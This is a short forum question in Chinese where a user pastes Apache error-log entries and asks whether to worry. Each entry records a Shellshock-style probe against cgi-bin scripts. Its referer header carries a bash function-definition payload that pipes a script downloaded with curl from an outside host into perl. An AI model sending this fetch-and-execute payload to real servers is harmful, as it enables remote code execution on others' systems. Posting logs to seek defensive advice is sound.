Apache日志中奇怪的HTTP请求

我在apache日志中发现了一些奇怪的HTTP请求,但我不确定是否应该关心他们。

[Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/bizdb1-search.cgi, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl [Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/bigconf.cgi, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl [Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/bbs_forum.cgi, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl [Sun Nov 02 19:45:43 2014] [error] [client 80.82.64.122] script not found or unable to stat: /usr/lib/cgi-bin/BBS, referer: () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl 

有任何想法吗?
